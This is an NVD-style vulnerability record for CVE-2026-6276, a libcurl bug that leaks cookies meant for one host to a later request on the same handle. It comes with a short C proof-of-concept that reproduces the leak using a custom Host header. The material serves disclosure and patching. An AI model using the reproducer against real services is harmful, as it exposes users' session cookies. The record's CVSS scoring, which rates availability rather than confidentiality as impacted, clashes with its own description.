CVE-2026-6276

#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_ALL); curl = curl_easy_init(); if(curl) { // Step 1: First request to Host A with custom Host header curl_easy_setopt(curl, CURLOPT_URL, "http://host-a.com/login"); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Host: malicious-host.com"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); // Assume the server sets a cookie for 'malicious-host.com' res = curl_easy_perform(curl); // Clear headers for the next request context (simulating the bug scenario) curl_slist_free_all(headers); headers = NULL; // Step 2: Second request to Host B without custom Host header // Vulnerability: Cookies from the first request (associated with the custom Host) // are leaked to this new request due to stale handle state. curl_easy_setopt(curl, CURLOPT_URL, "http://host-b.com/data"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, NULL); // No custom host header here // The server at host-b.com receives cookies meant for malicious-host.com res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }

{"cve": {"id": "CVE-2026-6276", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2026-05-13T13:01:56.800", "lastModified": "2026-05-14T14:21:06.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Using libcurl, when a custom `Host:` header is first set for an HTTP request\nand a second request is subsequently done using the same *easy handle* but\nwithout the custom `Host:` header set, the second request would use stale\ninformation and pass on cookies meant for the first host in the second\nrequest. Leak them."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.71.0", "versionEndExcluding": "8.20.0", "matchCriteriaId": "4F8139D4-8C72-4D4D-BD15-A64E8818AED1"}]}]}], "references": [{"url": "https://curl.se/docs/CVE-2026-6276.html", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://curl.se/docs/CVE-2026-6276.json", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Product"]}, {"url": "https://hackerone.com/reports/3671818", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/29/13", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://hackerone.com/reports/3671818", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}